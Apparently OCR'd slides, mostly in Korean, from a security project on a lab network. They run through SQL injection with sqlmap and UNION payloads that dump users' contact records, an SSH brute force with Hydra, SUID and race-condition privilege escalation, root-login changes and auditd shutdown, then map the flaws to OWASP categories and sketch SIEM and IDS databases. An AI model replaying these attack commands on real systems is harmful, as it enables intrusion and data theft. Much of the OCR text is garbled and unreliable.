
's/"#PermitRootlLogin prohibit-password/PermitRootlogin yes/" fetc/ss

service ssh restart

echo "root:asd123!®" | sudo chpasswd

h/sshd_config

- SSH MM d&

r o0t wew : ~H#
fdev/pts/1

r o0t wew : ~H#
root@wm : ~# whoami

root

root@wew :~# id

uid=0(root) gid=@(root) groups=@(root)
rootdwm :~F tty

fdev/pts/1
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SQL Injection

Query

- ® AH{o| #E DBE 2ol

cat /var/www/config.php
<?php

$db_host "localhost”™;
$db_user "red”;
$db_pass "asd123!9@";
$db_name "vuln";

$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);

if ($conn—connect_error) die("Connection failed: " . $conn—connect_error);

mysqgli_set_charset($conn, ‘"utf8");
T
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- AZ DBY M, o ABO) Cf3 YDt sl

rootdww : ~# mysql -u red —p
Enter password:

Welcome to the MySQL monito

Your MySQL connection id is 2
Server version: 5.8.51a buntu5

select * from users;
se changed

ql> show tables;

e I S T O
username r rol name | user_email | user_phone

e ielng” o A G Il Tables_in_vuln admin admin @naver

bbso%09 user @naver.c
b ]

-

|

+

|

contact |
i |

|

-

H

mysql> show databases;
B e T o R e
| r ster_requests
+
1
1
|

in set

+
| Database
+

users
|

from register_requests;

information_schema
Empty set (@ sec)

| mysql

ec)
I vuln

rows in set (0.00

+
rows in set (@.00 sec)

- 7|20 T3t SAE & COQ0| DBRl SAE AZH Al 3306 EZE Listen 20l

root@wmw :~# nmap -sS -T4 br-db.s-core.it
Starting Nmap 7.95 ( https: nmap.org ]
Nmap scan report for br-db.s-core.it (1@
Host is up (@.39s latency
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE

P6/tcp open mysqgl

Nmap done: 1 IP address (1 host up) 8.1 seconds

tcpdump: verbose output suppressed, use -v[v] for full protocol decode

listening on eth@, link-type EN1@MB (Ethernet), snapshot length 144 bytes

©1:52:17.410477 IP br-search.s-core.it.56771 > br-db. .it.mysql: [S], seq 3615114794, win 5840, options [mss

1] 7.448836 IP br-db.s-core.it.mysgl > br-search. SRl = gs [S.], seqg a 615114795, win 579

nop,wscale 5], length @

1] i 80 IP br-search.s-core.it.56771 > br-db. .it.mysql: ag E i , options [nop,nop,TS val
IP br-db.s-core.it.mysgql > br-search. SRl = E H:y 1, win 181, options [nop,
IP br-search.s - 6771 > br-db.s-c .it.mysq - k 67 i 83, options [nop,nop,TS val
IP br-search.s - 771 > br-db.s-c B ; - E 67, win 183, options [nop
IP br-db.s-core.it.mysql br-se E -it_567i E , options [nop,nop,TS val
IP br-db.s-core.it.mysgql > br-search. ~IE_hGTT - 3, win 181, options [ngd
IP br-search.s-core.it.56771 > br-db. .it.mysql: E = 78, win 18 options [
IP br-db.s-core.it.mysgql > br-search. ~IE_hGTT E 10@, win 181, options
IP br-search.s-core.it.56771 br-db.s-c .it.mysql: E c 157 , options [nop,nop,TS v3
IP br-search.s-core.it.56771 br-db. .it.mysq E 2 157, win 183, options

5 IP br-db.s-core.it.mysgl > br-search. SRl = E ! 119, win 181, options
IP br-search.s re.it.56771 > br-db. .it.mysq E ack 8 options [nop,nop,TS va
IP br-search.s-core.it.56771 > br-db. .it.mysql: E T win 183, options
IP br-db.s-core.it.mysql br-search. ~IE_hGTT E ! 141, win 181, options
IP br-search.s-core.it 771 > br-db.s-c .it.mysq ; E ; options [nop,nop,TS v3
IP br-search.s re.it > br-db. .it.mysq E i , options
IP br-db.s-core.it.mysgl > br-se E ~IE_hGTT E 4 i options
IP br-search.s-core.it.56771 > br-db.s-c .it.mysql: E 1167 i options
IP br-db.s-core.it.mysgql > br-search. ~IE_hGTT E g: i 8 options
IP br-search.s-core.it.56771 > br-db.s-c .it.mysql: E = i options
IP br-db.s-core.it.mysgql > br-search. ~IE_hGTT E i 8 options
IP br-search.s-core.it.56771 > br-db. .it.mysql: E 3:197 T i 8 options
IP br-db.s-core.it.mysqgl > arch. ~IE_hGTT E H: ! i 8 options
IP br-search.s-core.it.56771 > .5-C .it.mysql: < 8 i options [nop,nop,TS va
IP br-search.s B HEAE > E .it.mysq ! 891, win 216, options
IP br-db.s-core.it.mysql > br-search.s-c ~IE_hGTT E E 891:3787, 24, win 181, options
IpP re.it > br-db. .it.mysq E i 7, options [nop,nop,TS

L9407 IP br-search.s / > .mysq : 4 87 i 7, options [nop,nop,TS

.971016 IP br-db.s-core.it.mysgl > ch. -it_h6771: : 87: 4, win 181, optio

.971017 IP br-db.s-core.it.mysqgl > .5-C iy T : , win 181, option

.971161 IP br-db.s-core.it.mysqgl > a : i = : 3 ac 4, win 181, optio

7
7
7
7
7
7
7

7
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Starting Nmap 7.95 ( https://nmap.org ) at 2825-88-87 ©81:56 EDT
Nmap scan report for br-search.s-core.i . )
Host is up (@.P035s latency).

Not shown: 977 closed tcp ports (reset)

PORT STATE SERVICE

8@8e/tcp open http-pr ’ ‘

MAC Address: @@:@C:29:9C:7D:72 (VMware)

HTTP/1.1 200 OK

Date: 2025 B6E:24:146 GMT
Server: Apache/2 Ubuntu) DAV/2
X-Powered-By: PHP/5.2.4-2ubuntu5.10
Content-Type: text/html; charset=utf-8

- @ YsES AR ¥E HE O

/ \
{ weef! )
N
s = 404 Hack Not Found
Fe)
il
/ 405 Not Allowed
403 Forbidden

502 Bad Gateway 500 Internal Error

The Web Application Firewall Fingerprinting Toolkit

[*] Checking htt
[+] Gener
[-]1 No WAF det

- BHOIX HE AlE

Search

Search I'm Feeling Lucky
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. () DevTools is now available in Korean
Mail

Don't show again Always match Chrome's language

Search

Images Elements Console  Sources Network  Performan

A Search
4

I'm Feeling Lucky

Switch DevTools to Korean

ce  Memory >?

=
&
nit', function{e) {
, functio
i 'click', funct
St - # 50 YRS
Search Search Search Search
L} m _ ##
Search I'm Feeling Search I'm Feeling Lucky Search I'm Feeling Lucky Search I'm Feeling
ZuolE 314 2nf o4 fstiie. |24 Aot gt A4 g gz 24 Fot gis.

o

GET parameter 'query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] v
sqlmap identified the following injection point(s) with a total of 69 HTTP(s) requests:

5.0.12 AND time-based blind (q
st' AND (SELECT 7@@5 FROM (S

S ))sfiZ) AND 'RY
: UNION query

UNION query (NULL) - 6 columns

=test’ UNION ALL LECT NULL,NULL,NULL

50764a4f62674d4a6e6d69784856504a545043

er

CAT(@x717a6a6b71,0x5349474d58757445514d4155446d4a
), NULL,NULL— -

co
7170
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C A F9 8% brsearch.s-core.it8080

Search

"UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a6b71,0x56349474d58757445514d4155446d4a576766546550764a4f62674d4abe

ID: 1

Name: #Ext

Email: hyeonsug7s@naver.com

Phone: 0635938242

Address: FF A FHT LIWHE 484-72
7HiRd: 2021-02-04

ID: 2

Name: 2% 2

Email: hbag@naver com
Phone: 0318016097

7h9: 2021-02-20

ID: 3

Name: BtR 2l

Email: hyeonsugjo@naver.com

Phone: 0621965934

Address: SH LT QHtA| HHl T SR 022 92
7hUY: 2023-12-28

ID: 4
Name: 24
Email: basjinye@live com

Search

I'm Feeling Lucky
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u) SIEM CHA EE CHA

SIEM CHAF &

-m

t SIEM [H& &

im
m
=]

SSH BF Attack
Privilege Escalation

Security Logging and Monitoring Failures

gumc‘.

BR-web

of 5044(LogStash) TZl E2f

01>|

o =0l

listening on ethl,
IP (tos

options [ms
IP (tos 0x0,

B, options [mss 1460
[P (tos

IP (tos CI‘O
core.it_ 42590 >
options [ms

OpTlon; [nop,nop, TS
10806 IP (tos 0x0

-, ttl
> mn-el

[|:1F], proto TCP (6
cksum #x1ab9 (incorrect
, length @
s [DF], proto TCP
cksum ¢
4] nop

[DF], proto TCP (6)
cksum @x1ab9 (incor
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- mn-elk 2AE g ZE AW Af LK W SSH AMH[A 2O

Starting WNmap 7.95 ( https://nmap.org ) at 2025-08-87 17:532
Nmap scan report for mn-elk.s-core.it (18.7. I

Host is wp (0.21s latency).

Mot shown: 979 closed tcp ports (reset)

PORT STATE SERVICE

22/tcp open

5044/tcp open

5601/tcp open

020@/tcp open

Hydra v9.5 (

Hydra (http ithub.com/vanhauser-thc/thc-hydra) starting a -07 18:01:18

[WARNING] Many SSH confi tions limit the number of p L it is recommended to reduce the tasks: use -t &
[DATA] ma 3] / r &/p:8), ~4 tries per task

[DATA] c i

[22][ssh] h £

1 of 1 targ L i ord found

Hydra (http ) finished at 2025-08-07 18:01:38

/tmp/rootbash

J/usr/bin/chage
Jusr/bin/gpasswd
Jusr/bin/newgrp
Jusr/bin/fusermount3
Jusr/bin/fusermount
Jusr/bin/umount
Jusr/bin/mount

Jusr/bin/sudo

Jusr/bin/su

Jusr/bin/pkexec
Jusr/bin/crontab
Jusr/bin/vmware-user-suid-wrapper
Jusr/bin/chsh

Jusr/bin/at

Jusr/bin/chfn

Jusr/bin/passwd
Jusr/sbin/pam_timestamp_check
Jusr/sbin/unix_chkpwd
Jusr/sbin/grub2-set-bootflag
Jusr/sbin/userhelper
Jusr/sbin/mount.nfs
Jusr/lib/polkit-1/polkit-agent-helper-1
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Bt . /watcher

to
to
to
to

to /root/.
to /root/.
to /root/.
to /root/.
to /root/.
to /root/.
to /root/.
to /root/.
to /root/.
to /root/.

[so@localhost

100000 ) P to /tmp/rac
(200000 ) to /tmp/r
00000 ) P to /tmp/r
400000 ) Wrote to /tmp/r
@) Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
w;otn to /tmp/r
to /tmp/r
1500000 ) P to /tmp/r
1600000 ) J to /tmp/r
(17000800) r| to /tmp/r
200000 ) Wrote to /tmp/r
(1900600) Wrote to /tmp/r
000000 ) Wrote to /tmp/r
10@@0@1 Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r
Wrote to /tmp/r

0
IBOODDO\

0000)

root )

alhost ~R id
gid=

(root) groups=@{root)

. EOt OHIE 7|2 3

Duration: 1h 3
Docs: man:

Process: 859
Process: 870
Main PID: 86

8[
8
HD

https

rity Auditing
usr/lib/systemd/system/auditd.servic
(dead) since Thu 2025-88-07 16:33:
1min 52.771s
audltd_f.
rithub.com/1linu
Exe :t.1t=f;b1nfaud1td (code
ExecStartPost=/shin/augenrules
(co : status= )

ited,
-—load

158ms

localhost
localhost :
localhost
localhost
localhost
localhost
localhost

rate_limit @
backlog limit 8192

LA LA LA LA LA

5
5t

x
edl;pqtch[wa
auditd[863]:
ystemd[1]:
auditd[863]:
systemd[1]:

'ﬂdl:pqtch is
yudit d is
qudltd Serv

The audit daemon is
auditd.service:

[+1] u‘i u‘!

u‘i

localhost
localhost

Deactiv;

status=

®/SUCCESS)

[so@mlocalhost
[so@localhost
[so@localhost
[somlocalhost
[so@localhost
[so@localhost

)

i)

ror
-

)

)

FEREERE
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th #Herd B4 2w
- OWASP 10<2021>2 7|92 2 A01, A03, A05, A07 F|kMdE Ald
= AO1 : Broken Access Control Y B o
KIAb MM EXE Eot Aol M2
LH-S- ﬂkIH'I - =2TlZ2 o & oo N
g M AlAE A (www-data)@| sudo HeH E=X|
(br-web)
- ¥ MH Secure / HttpOnly / SameSite F7| 22t M &
MM W8 | - MM BFRIZ(P/UA 7]8h S XHOIE EXt £0
- AAEAEE (UA) B2 T MA HE
AlEH X} CVE-2024-28139, CVE-2025-48470
= A03 : Injection A" B o
K| AL
H AMH L& XA DBOJA CHE 7HOIME EHF ( 2™ 2T 08)
(br-web)
g
K| AL
2 M (HAM) 4 A QYURCEE E3H 0S HHOE MY AH
(br-search)
- Ha| YHZLof chal Prepared Statement(AZ) HE
W L8 | - Y=t HO0|ERAE AT, S5 EALIHED 5{ 8 H2| X FHHO &Y Kot
- A28 umask 4f 022 Ol =

CVE-2024-8469, CVE-2025-5243
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oot
I

AO5 : Security Misconfiguration A B

DMZ
DNS Aj{H{
(dm-dns)

Q¢ YEYI HE =E2 A Y8
HEXZ Ip)

P

X[ A
o A
(br-web)

2|
SIEM AMH
(mb-elk)

o

o
el
=

5
“
wn
=z
b
H

LW HEYI HES| FF Attt

M FF0oIM Optlons -Indexes (Apache)
htmispecialchars() &2 E+2AE #Hatst
=E Q3% Ho[X|& —|I1| P7‘|'—f o Ho 4%
UZE 7|50 East Z2 MIME EfY X3,
WAF(E Yatd) M &

CC
T

L olgdZ}t
— H T1HA

Az 7

S WeE,

=

autoindex off (Nginx)

23

HRolaj A HAN X8

CVE-2023-40071, CVE-2021-41773, CVE-2024-23001(Joomla),

AO07 : Identification and Authentication Failures Y "=

x| A}
o A
(br-web)

aHE AN ofolD 2

(
M

—

admin )

oto|c| ‘49

2|
SIEM AMH
(mb-elk) SUID

AY HEHS Zol/Z8E= 0|

X e 3% 518

de 48 A

A
o

-

Race Condition2 2 &3t

0t

=

%, root

-_rl|_-|

<
ot

Lot

=
=

M

LH

- admin Ad 0|8 ¥Y &

[ FSE Ak | K A" MM
olojo

—

sXe A EfRorR

22X, A

= AH, =¢
HESH ME ID dd, HALE

B2 S A2 2ol of 8

, =TT

~

3} (fail2ban &%
- A|AH”I0f SUID &

- HE2 BES 7|i‘1 (ASLR) &*%

pS|
~

=2
[S)

CVE-2023-39866, CVE-2022-21587, CVE-2021-40346

https://owasp.org/www-project-top-ten/
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*% 1hl_ E *%
HIO| = 82lAM
1) Ruleset DB
- IDS, IPS E4! DB
DBE EO| =T 2cd Hoje] EtY | ZO|  Hf=H 449
device varchar 20 - nids/hids
action varchar 10 - alert/drop/reject
protocol varchar 20 - tcp/ip/udp
src_ip varchar 15 - 2K ip
src_port varchar 10 - Z2X| port
s direction varchar 2 - <_EE'/Fx<IE’F§_>
dst_ip varchar 15 - EXX] ip
dst_port varchar 10 - E&X| port
ruleset msg text - - ol M K|
sid int 10 | PRIMARY £ otolL|
rev int 5 - =3 2=
extra text - - FIH M
id int 100 | PRIMARY
action_time date - - s AlZt
) blocked_ip varchar 100 - KtEHEL P
soar-action ruleset_ip varchar 100 - IPSZHH|_IP
rule text - - =M
reason text - - S OlF
id int 100 | PRIMARY
hostname varchar 100 -
device security ip varchar 100 -
username varchar 100 -
password varchar 100 -
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et7lolE HZ4 DB
ey | HlolE ERY | o | Moz oy
id varchar 100 PRIMARY
category varchar 100 -
hostname varchar 100 -
host
ip varchar 100 -
username varchar 100 -
guideline
password varchar 100 -
id int 100 Foreign
date date - -
info
content varchar 100 PRIMARY
command text - -
3) XS5t DB
- PythonZ EQ} Ansibleg O|&%t Q1=Z2} 3% X523} DB
DB Ho|=3 4cdy Cloje EfY | Zo| | HU=H a9
id int 11 PRIMARY INESIPNESI k=)
ip varchar 45 -
. R , itch, IPS,
device_type varchar 100 - outer SYVItC >
. IDS, Firewall
Networ device_name varchar 100 - Atd| #€3A
location varchar 100 - 49
username varchar 100 SSH &% AE
iac password varchar 255 - SSH F& H|YHS
id int 11 PRIMARY INESIPNESI k=)
ip varchar 45 -
device_name varchar 100 MY 93A
Server 0s varchar 50
location varchar 100 T4
username varchar 100 SSH & AHE
password varchar 255 SSH HM<£ HYHS
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